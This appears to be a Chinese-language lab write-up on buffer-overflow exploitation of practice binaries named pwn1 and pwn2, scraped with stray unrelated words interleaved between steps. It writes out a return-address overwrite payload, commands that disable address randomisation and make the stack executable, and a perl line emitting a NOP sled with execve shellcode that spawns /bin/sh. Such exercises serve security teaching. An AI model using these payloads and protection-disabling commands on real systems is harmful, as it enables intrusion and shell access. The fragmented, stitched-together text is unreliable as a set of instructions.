cp pwn1 pwn5227
objdump -d pwn5227 | more
并找到main函数中调用foo函数的机器码
shell
使用 vi pwn5227
进行编辑
编程
:%!xxd
显示模式切换为16进制模式/e8d7
查找要修改的内容r
将d7修改为c3,保存并退出将16进制转换回原格式 :%!xxd -r
,退出sass
再次反汇编pwn5227,发现函数调用已更改
安全
结果验证
网络
对pwn2进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
dom
0x34333231
也就是12340x0804847d
生成包含字符串的文件 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
函数
使用命令 (cat input;cat) | ./pwn2
,将input的内容做为./pwn2的输入,并验证结果
工具
apt-get install execstack安装execstack # execstack -s pwn1 //设置堆栈可执行 # execstack -q pwn1 //查询文件的堆栈是否可执行 # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 # more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭
注入攻击
学习
ctrl+shift+t
首先须要找到进程号
spa
101286
gdb attach 101286 disassemble foo break *0x080484ae (运行另外一个终端中的pwn1按下回车后) c info r esp x/16x 0xffffd2ac
0xffffd2b0
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
以后就能顺利安装了